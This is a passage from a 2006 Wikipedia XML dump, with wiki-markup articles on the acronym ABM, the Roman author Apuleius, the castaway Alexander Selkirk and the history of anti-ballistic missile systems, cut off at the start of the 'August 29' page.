[[ur:9 اپریل]]
[[wa:9 d' avri]]
[[zh:4月9日]]</text>
    </revision>
  </page>
  <page>
    <title>ABM</title>
    <id>1788</id>
    <revision>
      <id>40429517</id>
      <timestamp>2006-02-20T14:05:56Z</timestamp>
      <contributor>
        <ip>85.34.201.166</ip>
      </contributor>
      <comment>+ [[Agent based model]]</comment>
      <text xml:space="preserve">'''ABM''' is a [[three-letter abbreviation]] with multiple meanings:

* [[Acoustic black metal]], for example [[Impaled Northern Moonforest]]
* [[Activity-based management]], see [[cost management]]
* [[Anti-ballistic missile]] or the [[Anti-Ballistic Missile Treaty]]
* [[Anything But Microsoft]], a [[zealot]]ry which espouses that [[Microsoft]] is evil; therefore no one should use their products or technology regardless of technical merit.  A particular zealot of this nature is an ABMer. Antonym: NBM
* [[Agent based model]]
* [[Asynchronous Balanced Mode]]
* [[Automatic Banking Machine]], usually referred to by the term [[Automatic teller machine]]
* [[Bamaga Injinoo Airport]] (IATA airport code: ABM) in Bamaga, Queensland, Australia
* [[Uru: Ages Beyond Myst]], a computer game

{{TLAdisambig}}

[[de:ABM]]
[[nn:ABM]]
[[sv:ABM]]</text>
    </revision>
  </page>
  <page>
    <title>Apuleius</title>
    <id>1789</id>
    <revision>
      <id>39480442</id>
      <timestamp>2006-02-13T17:12:26Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
      </contributor>
      <comment>per [[WP:CFD]] [[Wikipedia:Categories for deletion/Log/2006 February 5|Feb 5]]</comment>
      <text xml:space="preserve">:''Apuleius should not be confused with [[Lucius Appuleius Saturninus]], a Roman demagogue or with [[Pseudo-Apuleius]], an author.''
'''Lucius Apuleius''' (c. A.D. [[123]]/[[125|5]] - c. A.D. [[180]]), an utterly [[Roman Empire|Romanized]] [[Berber]] who described himself as &quot;half-[[Numidia|Numidian]] half-[[Gaetulia|Gaetulian]]&quot;, is remembered most for his bawdy [[Picaresque novel|picaresque]] [[Latin]] [[novel]] ''[[The Golden Ass]]'' or, in Latin, the '''Aureus Asinus''' (where the Latin word ''aureus'' - golden - connoted an element of blessed luckiness).

He was born in [[Madaurus]] (now [[Mdaourouch]], [[Algeria]]), a [[Roman colony]] in Numidia on the North African coast, bordering Gaetulia; this is the same ''[[colonia]]'' where [[Augustine of Hippo|Saint Augustine]] later received part of his early education, and, though located well away from the Romanized coast, is today the site of some pristine Roman ruins. Details regarding his life come mostly from his defense speech (see below) and a work entitled &quot;Florida,&quot; which consists of snippets taken from some of his best speeches.  There is also a desire on the part of many to take details from his seemingly autobiographical novel and apply them to Apuleius, but this is not a reliable source -- most notably, the novel is misused as evidence that Apuleius was a worshiper of [[Isis]], though there is good reason to think that this was not the case.  (Another dubious conclusion is that &quot;Lucius,&quot; the first name of the main character of the novel, was also the first name of Apuleius -- wishful thinking for which there is no concrete evidence.)

Apuleius inherited a substantial fortune from his father, a provincial magistrate. Apuleius studied with a master at [[Carthage]] and later at [[Athens]], where he studied [[Platonic philosophy]] among other subjects. He subsequently went to [[Rome]] to study [[Latin]] [[oratory]] and, most likely, to declaim in the law courts for a time before returning to his native North Africa. He also travelled extensively in [[Asia Minor]] and [[Egypt]], studying [[philosophy]] and [[religion]], burning up his inheritance while doing so.

After being accused of using [[Magic (paranormal)|magic]] to gain the attentions (and fortune) of the wealthy widow he married (the mother of a school chum from his days in Athens), he declaimed and then distributed a witty ''tour de force'' in his own defense before the [[proconsul]] and a court of magistrates convened in [[Sabratha]], near [[Tripoli]], the ''Apologia (A Discourse on Magic)''. The work has very little to do with magic, and a lot to do with making mincemeat of his opponents, with hilarity and panache. It is among the funniest works that have come down to us from Antiquity -- it is certainly the most entertaining example of Latin courtroom oratory to survive, though some fans of Cicero might disagree -- and firmly places Apuleius among the great humorists of his day.

His other works include ''On the God of Socrates'', ''Florida'', ''On Plato and his Doctrine'', and possibly ''On the Universe''. 

''The Golden Ass'' is the only Latin novel that has survived in its entirety. It is an imaginative, irreverent, and amusing work that relates the ludicrous adventures of one Lucius, who experiments in magic and is accidentally turned into an [[donkey|ass]]. In this guise he hears and sees many unusual things, until escaping from his predicament in a rather unexpected way (see SPOILER below). Within this [[frame story]] are found multiple [[story within a story|digressions]], the longest among them being the well-known tale of [[Cupid and Psyche]].

{{spoiler}}

The ending of &quot;The Golden Ass&quot; is unexpected, and should not be spoiled for those who have not read the book.  However, since it is an important aspect of Apuleius's masterpiece, it cannot be omitted from this site -- thus the use of this warning.

&quot;The Golden Ass&quot; ends with the hero, Lucius, being rescued by Isis and transformed back from his donkey form.  Lucius subsequently becomes a worshiper of Isis, and Apuleius provides a lengthy account of his initiation into the [[mystery religion|mysteries]] of [[Isis]], which some see as [[autobiography|autobiographical]].  But Apuleius need not have been a worshiper of Isis to know the details he provides, and this work is more likely to belong to a sub-genre of stories involving rescue by Isis.  It is even possible that he is mocking such intensely devout worshipers of the goddess.

== External links ==
*{{gutenberg author|id=Apuleius|name=Apuleius}}
*[http://www.thelatinlibrary.com/apuleius.html Apulei Opera] (Latin texts of all the surviving works of Apuleius) at [[The Latin Library]]
*[http://www.cwru.edu/UL/preserve/stack/Apologia.html English translation of ''Florida'' by H. E. Butler (PDF)]
*[http://www.chieftainsys.freeserve.co.uk/apuleius_apology01.htm English translation of the ''Apologia'' by H. E. Butler]
*[http://www.cwru.edu/UL/preserve/stack/Apologia.html English translation of the ''Apologia'' by H. E. Butler (PDF)]
*[http://ccat.sas.upenn.edu/jod/apuleius/index.html Apuleius - Apologia: Seminar] (Latin text of the ''Apologia'' with H. E. Butler's English translation and an English crib with discussion and commentary)
*[http://www.unisi.it/ricerca/ist/anc_hist/online/apuleio/hunink/hunink.htm Apuleius of Madauros, ''Pro Se De Magia (Apologia)'', edited with a commentary by Vincent Hunink] (Long and detailed introduction to the ''Apologia'')


[[Category:Roman era humorists]]
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[[Category:Ancient Roman rhetoricians]] 

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    </revision>
  </page>
  <page>
    <title>Alexander Selkirk</title>
    <id>1790</id>
    <revision>
      <id>40196255</id>
      <timestamp>2006-02-18T22:06:31Z</timestamp>
      <contributor>
        <ip>67.185.117.241</ip>
      </contributor>
      <comment>/* Cast away life */</comment>
      <text xml:space="preserve">__NOTOC__
'''Alexander Selkirk''', born '''Alexander Selcraig''', ([[1676]]&amp;ndash;[[13 December]] [[1721]]) was a sailor who spent four years as a [[castaway]] on an uninhabited island; he is supposed to be the prototype of [[Daniel Defoe|Defoe's]] ''[[Robinson Crusoe]]''.
==Biography==
===Early life===
The son of a shoemaker and [[tanning|tanner]] in [[Lower Largo]], [[Fife]], [[Scotland]], he was born in 1676. In his youth he displayed a quarrelsome and unruly disposition, and having been summoned on [[27 August]] [[1695]] before the kirk-session for his &quot;''undecent carriage''&quot; (indecent behaviour) in church, &quot;''did not compear [appear], having gone away to &amp;thorn;e sea: this bussiness is continued till his return''&quot; ([[quotation]] in original [[spelling]]). 

At an early period he was engaged in [[buccaneer]] expeditions to the South Seas, and in [[1703]] joined famed [[privateer]] and [[exploration|explorer]] [[William Dampier]] on the [[galleon]] ''Cinque Ports'' as sailing master. The following year, in [[October]], the ''[[Cinque Ports (1703 ship)|Cinque Ports]]'' was stopped over at the uninhabited [[archipelago]] of [[Juan Fernández Islands|Juan Fernández]] for a mid-expedition restock of supplies and fresh water.  At this point, Selkirk had grave concerns about the seaworthiness of his vessel (the ''Cinque Ports'', later sank, losing most hands) and opted to stay ashore, banking on an impending visit by another ship.  His decision spawned almost immediate regret. He chased and called after his boat to no avail; Selkirk spent a solitary residence of four years and four months on [[Juan Fernández Islands|Juan Fernández]].  He took with him a [[musket]], [[gunpowder]], [[carpenter|carpenter's]] tools, a knife, a Bible, and his clothing. 
===Cast away life===
Selkirk initially stayed on the beach, fearing strange inland sounds he assumed to be dangerous beasts.  During this period, he camped in a small cave, consumed [[shellfish]] for nutrition, surveyed the ocean each day for a possible rescue, and suffered from deep loneliness, depression, and regret.  Eventual hordes of [[sea lion]]s, collecting on the beach for their mating and weaning season, drove him to the island's interior. 

There, life became significantly better.  A bevy of new food sources became available: [[Wild Goat|wild goats]], introduced by earlier sailors, provided [[meat]] and [[milk]]; uncultivated [[turnips]], [[cabbage]], and [[black pepper|pepper]] berries offered diversity and spice.  [[Rat]]s, also not native, were an initial problem -- they made a habit of gnawing on Selkirk during the night. However, by domesticating and living near equally feral [[cat]]s, he was able to sleep soundly. 

Selkirk made extraordinary use of the equipment he took from the ship and, later, that which he made from island materials.  He carpentered two [[hut]]s out of native [[Pimento tree]]s and employed his musket and knife to hunt and clean goats. However, when his gunpowder dwindled, he had to resort to chasing his prey on foot. This resulted in a major injury wherein he tumbled off a cliff and was rendered unconscious for about twenty four hours (his prey had unwittingly intervened, sparing him a broken back).{{ref|fall}}  He also read from the [[Bible]] frequently, finding it beneficial to his emotional state and grasp of English.  When Selkirk's clothing wore out, he fashioned new garments from goatskin using a [[nail]] to sew.  His father was a tanner, and the lessons he had learned as a child helped him greatly on the island.  When his shoes were no longer usable, Selkirk's feet had become so toughened and calloused that he found them unnecessary.  He forged a new knife out of iron barrel rings left on the beach.

Two vessels arrived and departed before his escape; both were [[Spain|Spanish]].  As a [[Scotland|Scotsman]] and [[privateer]], he faced a fate worse than death if captured.  Selkirk hid from both crews.

The long awaited rescue occurred on [[2 February]] [[1709]] by way of privateer ''Duke'', a ship piloted by the same William Dampier mentioned earlier. Selkirk was discovered off the island by the ''Duke''&lt;nowiki&gt;'&lt;/nowiki&gt;s [[Captain]], [[Woodes Rogers]], who called him the Governor of the island. Upon being found, the four year castaway was completely incoherent with joy. The agile Selkirk caught two or three goats a day, helping restore the health of Rogers's men.  Rogers eventually made Selkirk his mate and gave him the independent command of one of his prizes. Rogers's ''A cruising voyage round the world: first to the South-Sea, thence to the East-Indies, and homewards by the Cape of Good Hope'' was published in [[1712]], with an account of Selkirk's ordeal. 

In 1717 Selkirk had returned to Lower Largo, but only stayed a few months. There he met Sophia Bruce, a sixteen year old dairymaid, and they eloped to [[London]]. Within a year he had again gone to sea. On a visit to [[Plymouth]], he married a widowed innkeeper. According to the ship's [[data logging|log]], he died at 8 p.m. on [[December 13]], [[1721]] while [[lieutenant]] on board the Royal ship ''[[Weymouth]]'', probably succumbing to the [[yellow fever]] which had devastated the voyage. He was buried at sea off the west coast of [[Africa]].

==The Island==
*One of the islands in [[Juan Fernández Islands]] has been named Alejandro Selkirk.

==Notes==
#{{note|fall}} Rodgers, Woodes, ''Providence display’d, or a very surprizing account of one'', p. 6.

==References==
*Selcraig, B. (July 2005). &quot;The Real Robinson Crusoe&quot;. ''[[Smithsonian]]'', p.82-90.
{{1911}}

==Further reading and information==
Diana Souhami, ''Selkirk's Island: The True and Strange Adventures of the Real Robinson Crusoe'', (2001) ISBN 0151005265

== External links ==
*[http://www.ini.unizh.ch/~tobi/alex/alex.html Account of a trip to Selkirk's Island]
*[http://www.timesonline.co.uk/article/0,,3-1783811,00.html Site of Selkirk's camp indentified], from [[The Times]] (London), [[17 September]] [[2005]].

[[Category:1676 births|Selkirk, Alexander]]
[[Category:1721 deaths|Selkirk, Alexander]]
[[Category:Natives of Fife|Selkirk, Alexander]]
[[Category:Castaways|Selkirk, Alexander]]

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  <page>
    <title>Anti-ballistic missile</title>
    <id>1791</id>
    <revision>
      <id>41381115</id>
      <timestamp>2006-02-26T23:35:14Z</timestamp>
      <contributor>
        <username>Mahanchian</username>
        <id>606519</id>
      </contributor>
      <comment>Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">An '''anti-ballistic missile''' (ABM) is a [[missile]] designed to counter [[ballistic missile]]s. A ballistic missile is used to deliver [[nuclear weapon| nuclear]], [[Chemical warfare| chemical]], [[Biological warfare| biological]] or conventional [[warhead]]s in a [[External ballistics|ballistic]] flight [[trajectory]]. The term &quot;anti-ballistic missile&quot; describes any antimissile system designed to counter ballistic missiles. However the term is more commonly used for ABM systems designed to counter long range, nuclear-armed [[Intercontinental ballistic missile]]s (ICBMs).

Only two ABM systems have previously been operational against ICBMs, the U.S. [[Safeguard (nuke)| Safeguard]] system, and the Russian A-35 system which used the Galosh interceptor. Safeguard was only briefly operational; the Russian system has been improved and is still active, now called A-135 and using two missile types, Gorgon and Gazelle. However the U.S. [[Ground-Based Midcourse Defense]] (GMD, previously called [[National Missile Defense|NMD]]) system has recently reached initial operational capability. 

Three shorter range tactical ABM systems are currently operational: the U.S. [[MIM-104 Patriot| Patriot]], Navy [[Aegis combat system]]/[[Standard missile| Standard SM-3]], and the Israeli [[Arrow missile| Arrow]]. The longer-range U.S. [[Terminal High Altitude Area Defense]] (THAAD) system is scheduled for deployment in 2011. In general short-range tactical ABMs cannot intercept ICBMs, even if within range. The tactical ABM radar and performance characteristics do not allow it, as an incoming ICBM warhead moves much faster than a tactical missile warhead. However it's possible the higher performance THAAD missile could be upgraded to intercept ICBMs.

Latest versions of the U.S. [[MIM-23 Hawk| Hawk missile]] have a limited capability against tactical ballistic missiles, but is usually not described as an ABM.

For current US developments, see [[Missile Defense Agency]]. For other short-range missiles, see [[Sea Wolf missile|Sea Wolf]], [[MBDA Aster|Aster 15]] and [[Crotale missile]].

==Early history of ABMs==
=== From World War II through the 1950s===
The idea of shooting down rockets before they can hit their target dates from the first use of modern missiles in warfare, the German [[V-1]] and [[V-2]] program of [[World War II]]. British and American fighters attempted to destroy V-1 &quot;buzz bombs&quot; in flight prior to impact, with some success. The V-2, the first true ballistic missile, proved impossible to intercept using [[Supermarine Spitfire|Spitfire]]s and similar craft. Instead, the Allies launched [[Operation Crossbow]] to find and destroy V-2s before launch. The operation was largely ineffective, as was a similar operation during the first [[Persian_gulf|Persian]] [[Gulf War]] nearly fifty years later against the V-2's direct descendant, the Iraqi [[Scud]] missile.

The American armed forces began experimenting with anti-missile missiles shortly after World War II, as the extent of German research into rocketry became clear. But defenses against Soviet long-range bombers took priority until the later 1950s, when the Soviets began to test their missiles (most notably via the [[Sputnik program|Sputnik]] launch in October 1957). The first experimental ABM system was [[Project Nike|Nike Zeus]], a modification of existing air defense systems. Nike Zeus proved unworkable, and so work proceeded with [[Project Nike|Nike X]].

[[Image:NIKE Zeus.jpg|thumb|right|Launch of a Nike Zeus missile]]

Another avenue of research by the U.S. was the test explosions of several [[hydrogen bomb]]s at very high altitudes over the southern Atlantic ocean, launched from ships. When such an explosion takes place a burst of [[X-ray]]s are released that strike the Earth's atmosphere, causing secondary showers of charged particles over an area hundreds of miles across. The movement of these charged particles in the Earth's magnetic field causes a powerful [[electromagnetic pulse|EMP]] which induces very large currents in any conductive material. The idea was to destroy any electronics on the warheads. The project was found to be unworkable, although the exact reasons are not given.

Other countries were also involved in early ABM research. A more advanced project was at [[DRE Valcartier|CARDE]] in [[Canada]], which rearched the main problems of ABM systems. This included developing several advanced [[infrared]] detectors for terminal guidance, a number of missile airframe designs, a new and much more powerful solid rocket fuel, and numerous systems for testing it all. After a series of drastic budget cuts in the late 1950s the research wound down. One offshoot of the project was [[Gerald Bull]]'s system for inexpensive high-speed testing, consisting of missile airframes fired from a [[sabot]] round, which would later form the basis of [[Project HARP]].

==Developments in the 1960s and 1970s==
===Nike-X, Sentinel and Safeguard===
[[Image:meck6.jpg|thumb|185px|Dual launch of Sprint missiles during a salvo test at [[Meck|Meck island]] ]]
Nike X was a US system of two missiles, radars and their associated control systems. The original Nike Zeus (later called Spartan) was upgraded for longer range and a much larger 5 megatonne warhead intended to destroy warheads with a burst of x-rays outside the atmosphere. A second shorter-range missile called [[Sprint (missile)|Sprint]] with very high acceleration was added to handle warheads that evaded longer-ranged Spartan. Sprint was a very fast missile (some sources claimed it accelerated to 8,000 mph within 4 seconds of flight--an average acceleration of ''100 [[g]]''!) and had a smaller W66 [[Neutron bomb|enhanced radiation]] warhead in the 1-3 kiloton range for in-atmosphere interceptions. 

The new Spartan changed the deployment plans as well. Previously the Nike systems were to have been clustered near cities as a last-ditch defense, but the Spartan allowed for interceptions at hundreds of miles range. Therefore the basing changed to provide almost complete coverage of the United States in a system known as [[Safeguard (nuke)|Sentinel]]. Later Sentinel was restructured to a more limited defense of ICBM sites against incoming warheads. That system used the same Spartan/Sprint missiles and radar, and was called [[Safeguard (nuke)| Safeguard]].

===Moscow ABM system===
The only other ICBM ABM system to reach production was the [[Soviet Union|Soviet]] A-35 system. It was initially a single-layer exoatmospheric (outside the atmosphere) design, using the Galosh (SH-01/ABM-1) interceptor. It was deployed at four sites around [[Moscow]] in the early 1970s. 

Originally intended to be a larger deployment, the system was downsized to the two sites allowed under the 1972 ABM treaty.  It was upgraded in the 1980s to a two-layer system. The Gorgon (SH-11/ABM-4) long-range missile was designed to handle intercepts outside the atmosphere, and the Gazelle (SH-08/ABM-3) short-range missile endoatmospheric intercepts that eluded Gorgon. In general the system is thought to have capabilities similar to that of the former U.S. Safeguard system.

===The problem of defense against MIRVs===
[[Image:Peacekeeper-missile-testing.jpg|thumb|right|Testing of the [[LGM-118A Peacekeeper]] re-entry vehicles, all eight fired from only one missile. Each line represents the path of a warhead which, were it live, would detonate with the explosive power of twenty-five [[Little Boy|Hiroshima-style]] weapons.]]
ABM systems were initially developed to counter single warheads from large [[Intercontinental ballistic missile]]s (ICBMs). The economics seemed simple enough: since rocket costs increase rapidly with size, interceptor cost should be less than the attacking ICBMs (which had much longer range and heavier payloads). In an arms race the defense would always win.

Things changed dramatically with the introduction of [[Multiple independently targetable reentry vehicle]] (MIRV) warheads. Suddenly each launcher was throwing not one warhead, but several. The defense would still require a rocket for every warhead, as they would be re-entering over a wide space and could not be attacked by several warheads from a single antimissile rocket. Suddenly the defense was more expensive than offense: it was much less expensive to add more warheads, or even decoys, than it was to build the interceptor needed to shoot them down.

The experimental success of Nike X persuaded the [[Lyndon B. Johnson]] administration to propose a thin ABM defense. In a September 1967 speech, Defense Secretary [[Robert McNamara]] described it as [[Safeguard (nuke)| Sentinel]]. McNamara, a private ABM opponent because of cost and feasibility (see [[cost-exchange ratio]]), claimed that Sentinel would be directed not against the Soviet Union's missiles (since the [[Soviet Union|USSR]] had more than enough missiles to overwhelm any American defense), but rather against the potential nuclear threat of the [[People's Republic of China]]. 

In the meantime a public debate over the merit of ABMs broke out. Even before the MIRV problem made ABM effectiveness non-workable in the late [[1960s]], some technical difficulties had already made an ABM system questionable for a large sophisticated attack. One problem was the [[Fractional Orbital Bombardment System]] (FOBS) that would give little warning to the defense. Another problem was high altitude EMP (whether from offensive or defensive nuclear warheads) which could degrade defensive radar systems.

Technical difficulties aside, the debate turned to an odd position: that no defense at all was better than any defense. Namely,  a false sense of security might encourage ABM-defended nations to escalate against minor threats, believing they would be protected against any response. By this reasoning simply starting to deploy such a system could prompt a full-scale attack before it could become operational and thereby render such an attack useless. This curious set of arguments thus put the system in a terrible position: it couldn't possibly work, but if it did that would be even worse.

===The ABM Treaty of 1972===
Various technical, economic and political problems led to the [[Anti-Ballistic Missile Treaty|ABM treaty]] of 1972, which restricted the deployment of strategic (not tactical) antiballistic missiles.

Under the ABM treaty and a 1974 revision, each country was allowed to deploy a single ABM system with only 100 interceptors to protect a single target. The Soviets deployed a system named A-35 (using Galosh interceptors), designed to protect Moscow. The U.S. deployed [[Safeguard (nuke)| Safeguard ]] (using Spartan/Sprint interceptors) to defend ballistic missile sites at Grand Forks Air Force Base, North Dakota, in 1975. The U.S. Safeguard system was only briefly operational. The Russian system (now called A-135) has been improved and is still active around Moscow. On June 13, 2002, the US withdrew from the treaty.

Why did the Soviets and Americans accept the treaty?

* Deployment of even a limited defensive system might well invite a pre-emptive nuclear attack before it could be implemented
* Soviet leaders suspected that the United States, with its mammoth resources and technological superiority, might well be able to create a leakproof defense. 
* Deploying ABM systems would likely invite another expensive arms race for defensive systems, in addition to maintaining existing offensive expenditures
* Then-current technology did not permit a thorough defense against a sophisticated attack
* Concerns that use of nuclear warheads on antimissile interceptors would degrade capability of defensive radar, thus possibly rendering defense ineffective after the first few intercepts
* In the U.S, political and public concern of detonating defensive nuclear warheads over friendly territory
* An ICBM defense could jeopardize the [[Mutual assured destruction|Mutually Assured Destruction]] concept, thus being a destabilizing influence

In an ironic twist, this limitation of defensive arms eventually led to treaties limiting the construction of offensive arms, known as the [[Strategic Arms Limitation Talks|SALT I]] treaties.

Although designed and ratified under Republican President Nixon and Secretary of State Henry Kissinger,  conservatives in the United States generally remained opposed to the ABM Treaty.

==ABM developments in the 1980s and Persian Gulf War==
The [[Ronald Reagan|Reagan]]-era [[Strategic Defense Initiative]] (better known as &quot;Star Wars&quot;), along with research into various energy-beam weaponry, brought new interest in the area of ABM technologies.  

SDI was an extremely ambitious program to provide a total shield against a massive Soviet ICBM attack. The initial concept envisioned large sophisticated orbiting laser battle stations, space-based relay mirrors, and nuclear-pumped X-ray laser satellites. Later research indicated that some planned technologies such as X-ray [[Laser]]s were not feasible with then-current technology. As research continued, SDI evolved through various concepts as designers struggled with the difficulty of such a large complex defense system. SDI remained a research program and was never deployed. However several SDI technologies were used in follow on ABM systems.

The [[MIM-104 Patriot|Patriot antiaircraft missiles]] was the first deployed tactical ABM system, although it was not designed from the outset for that task and consequently had limitations. It was used in the 1991 Gulf War to attempt to intercept Iraqi [[Scud]] missiles.  Post-war analyses show that the Patriot much less effective than initially thought because of its radar and control system's inability to discriminate warheads from other objects when the Scud missiles broke up during reentry. On the other hand, the Scud itself was highly inaccurate and not very reliable.  It was more a psychological than real threat to military targets.
&lt;!--(See new 1990s section. The arrow system doesn't require hit-to-kill and is non-nuclear which contradicts this section)
&lt;!--(You're right, I fixed it.- joema 23-Feb-06)Testing of ABMs and ABM technology continued through the 1990s with mixed success.  Use of non-nuclear interceptors requires that the interceptor physically contact the incoming payload -- a much more difficult problem.  There are also many unresolved issues with warhead discrimination and decoy deployment.  There is little doubt that occasional intercepts are possible.  The issue is whether an ABM system is a cost effective deterrent or whether a potential enemy will simply deploy a few more missiles with more warheads.--&gt;

==Post Gulf War ABM developments in the 1990s==
===Tactical ABMs deployed===
[[Image:Navy Theater Ballistic Missile Defense.JPG|thumb|right|230px|Developed in th late 1990s, the Lightweight Exo-Atmospheric Projectile (LEAP) attaches to a modified [[Standard missile|SM-2 Block IV missile]] used by the [[United States Navy|U.S. Navy]]]]
&lt;!--[http://www.fas.org/spp/starwars/program/nmd/index.html FAS] also has a time line for ABM/NMB/TBMD starting in [http://www.fas.org/spp/starwars/program/milestone.htm Missie Defense Milestones]--&gt;
Testing of ABMs and ABM technology continued through the 1990s with mixed success. However, following the Gulf War, improvements were made to several U.S. air defense systems. [[MIM-104 Patriot| Patriot PAC-3]] was developed and tested following the Gulf War. The PAC-3 is a complete redesign of the system deployed during the war, including a totally new missile. The improved guidance, radar and missile performance improves the probablility of kill over the earlier PAC-2. In operation Iraqi Freedom, the Patriot PAC-3 had a near 100% sucess rate at intercepting short range [[tactical ballistic missile]]s (TBMs). However since no longer range Iraqi [[Scud]] missiles were fired, PAC-3 effectiveness againt those was untested. Also the PAC-3 was involved in two [[fratricide]] incidents: two incidents of Patriot firings at coalition aircraft and one of U.S. aircraft firing on a Patriot battery [http://www.acq.osd.mil/dsb/reports/2005-01-Patriot_Report_Summary.pdf].

From 1992 to 2000 a demonstration system for the US Army [[Terminal High Altitude Area Defense]] was deployed at [[White Sands Missile Range]]. Tests were conducted on a regular basis and resulted in early failures, but successful intercepts occurred in 1999. A new version of the Hawk missile was tested in the early to mid 90's and by the end of 1998 the majority of US Marine Corps [[MIM-23 Hawk|Hawk]] systems were modified to support basic theater anti-ballistic missile capabilities[http://www.fas.org/spp/starwars/program/hawk.htm].  Following the Gulf war, the [[Aegis combat system]] was expanded to include ABM capabilities. The [[Standard missile]] system was also enhanced and tested for ballistic missile interception. In the late 90's SM-2 block IVA missiles were tested in a theater ballistic missile defense role.[http://www.fas.org/spp/starwars/program/sm2.htm] Standard Missile 3 (SM3) systems have also been tested for an ABM role. In 1998, Defense secretary William Cohen proposed spending an additional $6.6 billion on ballistic missile defense programs to build a system to protect against attacks from North Korea or accidental launches from Russia or China[http://www.pbs.org/newshour/bb/military/jan-june99/nmd_1-28a.html].  The [[Israel]]i [[Arrow missile|Arrow]] system was initially tested in 1990, before the first Gulf War. The Arrow was supported by the United States throughout the nineties.

===Brilliant Pebbles===
Approved for acquisition by the Pentagon in 1991 but never realized, Brilliant Pebbles was a proposed space-based anti-ballistic system that tried to avoid some of the problems of the earlier SDI concepts. Rather than use sophisticated large laser battle stations and nuclear-pumped X-ray laser satellites, Brilliant Pebbles consisted of a thousand very small, highly intelligent orbiting satellites with kinetic warheads. The system relied on advances in computer technology, avoided problems with overly centralized command and control and risky, expensive development of large, complicated space defense satellites. It promised to be much less expensive to develop and have less technical development risk.

The name Brilliant Pebbles comes from the small size of the satellite interceptors and great computational power enabling more autonomous targeting. Rather than rely exclusively on ground-based control, the many small interceptors would cooperatively communicate among themselves and target a large swarm of ICBM warheads in space or in the late boost phase. Development was later discontinued in favor of a limited ground-based defense.

===SDI changed to NMD===
In the early 1990s, President G. H. W. Bush called for a more limited version using rocket-launched interceptors based on the ground at a single site. In 1993, SDI was reorganized as the Ballistic Missile Defense Organization. Deployment of the more limited system, called the National Missile Defense (NMD) was planned to protect all 50 states from a rogue missile attack. Research and development of the NMD system continued under the Clinton administration from 1992 to 2000.

==Current ABM developments==
A renewed interest in missile defense cooincided with the election of President [[George W. Bush]] in 2000. In several tests, the U.S. military has  demonstrated the feasibility of shooting down long and short range ballistic missiles. Combat effectivness of newer systems against tactical ballistic missiles seems very high, as the [[MIM-104 Patriot| Patriot PAC-3]] had a 100% success rate in Operation Iraqi Freedom. However NMD real-world effectiveness against longer range ICBMs is less clear.

While the Reagan era Strategic Defense Initiative was intended to shield against a massive Soviet attack, the current [[National Missile Defense]] has the more limited goal of shielding against a limited attack by a [[rogue state]].  

The Bush administration has accelerated development and deployment of a system proposed in 1998 by the Clinton administration.  The system is a dual purpose test and interception facility in Alaska, and as of 2006 is operational with a few interceptor missiles. The Alaska site provides more protection against North Korean missiles or accidental launches from Russia or China, but is likely less effective against missiles launched from Iran. The Alaska interceptors may be later augmented by the naval [[Aegis Ballistic Missile Defense System]], by ground-based missiles in other locations, or by the [[Boeing YAL-1| Boeing Airborne Laser]]. President Bush has referenced the [[September 11, 2001 Terrorist Attacks]] and the proliferation of ballistic missiles as reasons for missile defense.

&lt;!-- (Seems POV and a broad generalization, and I can't find a source for it. Please cite source and uncomment) Often overlooked in the ABM debate in the United States is the resistance of many Pentagon leaders to the construction of a National Missile Defense.  Admirals and generals of all services oppose spending huge sums (currently $8bn/yr in 2003) to research, develop, and procure NMD systems.  They would prefer to have that money spent on new conventional weapons, training, equipment, or pay. By conventional [[procurement]] methodologies ([[cost-benefit analysis]] and [[cost-utility analysis]]) missile defense would be regarded as a 'bad buy' owing to its very high costs, high level of project risk (it is essentially a research project, not acquisition of proven technologies) and the benefits are disputed. In order to prevent its cancellation by the Pentagon, successive administrations have placed missile defense outside of direct Pentagon control in a separate organisation.--&gt;

===International ABM efforts===
[[Image:Arrow missle.jpg|thumb|right|An Arrow anti-ballistic missile interceptor]]
In 1993, a symposium was held by western European nations to explore potential future ballistic missile defense programs. In the end, the council recommended deployment of early warning and surveillance systems as well as regionally controlled defense systems. [http://www.fas.org/spp/starwars/program/europe/weu_93/weu1363tasc.htm] In 1998 the [[Israel]]i military conducted a successful test of their [[Arrow missile|Arrow ABM]], developed in Israel with American assistance. Designed to intercept incoming missiles traveling at up to 2 mile/s (3 km/s), the Arrow is expected to perform much better than the Patriot did in the Gulf War. [[Taiwan]] is also engaged in the development of an anti-ballistic missile system, based on its indigenously developed Tien Kung-II (Sky Bow) SAM system. Although reports suggest a promising system, the ROC government continues to show strong interest towards the American [[Terminal High Altitude Area Defense]] (THAAD) program.
 
&lt;!--'A link to a section on international responses to American NMD is needed. A link to international ABM systems and Non-US systems is needed.'--&gt;

==See also==
*[[National Missile Defense]]
*[[nuclear disarmament]]
*[[nuclear proliferation]]
*[[nuclear warfare]]
*[[atmospheric reentry]]
*[[Terminal High Altitude Area Defense]]
*[[Aegis Ballistic Missile Defense System]]
*[[sprint (missile)]]
*[[Spartan (missile)]]
*[[Safeguard (nuke)| Safeguard/Sentinel ABM system]]

==External links==
* The [http://www.cdi.org Center for Defense Information] has many resources on ABMs and NMD.
* The [http://www.fas.org/ssp/bmd/index.html Federation of American Scientists], as usual, is a wonderful resource for technical data, full-text of key documents, and analysis.
* [http://www.missilethreat.com/systems/ MissileThreat.com], a listing and descriptions of ABM systems around the world.
* [http://www.srmsc.org/ The unofficial website of the Stanley R. Mickelson Safeguard complex] contains relevant images and history of the Safeguard program.
* [http://www.redstone.army.mil/history/vigilant/intro.html History of U.S. Air Defense Systems]

{{Missile types}}
:&lt;br /&gt;
{{airlistbox}}

[[Category:Anti-ballistic missiles|*]]

[[he:&amp;#1496;&amp;#1497;&amp;#1500; &amp;#1504;&amp;#1490;&amp;#1491; &amp;#1496;&amp;#1497;&amp;#1500;&amp;#1497;&amp;#1501;]]
[[nn:ABM]]</text>
    </revision>
  </page>
  <page>
    <title>August 29</title>
    <id>1793</id>
    <revision>
      <id>41906422</id>
      <timestamp>2006-03-02T14:54:48Z</timestamp>
      <contributor>
        <username>Jimmmmmmmmm</username>
        <id>515208</id>
      </contributor>
      <comment>/* Births */ added Babayaro</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=29}}
|}
'''[[August 29]]''' is the 241st day of the year in the [[Gregorian Calendar]] (242nd in [[leap year]]s), with 124 days remaining. It is also the 1st day of [[Thoth]] - which is the 1st day of the Egyptian Horoscope. Thoth is the Ibis-headed god of knowledge.


==Events==
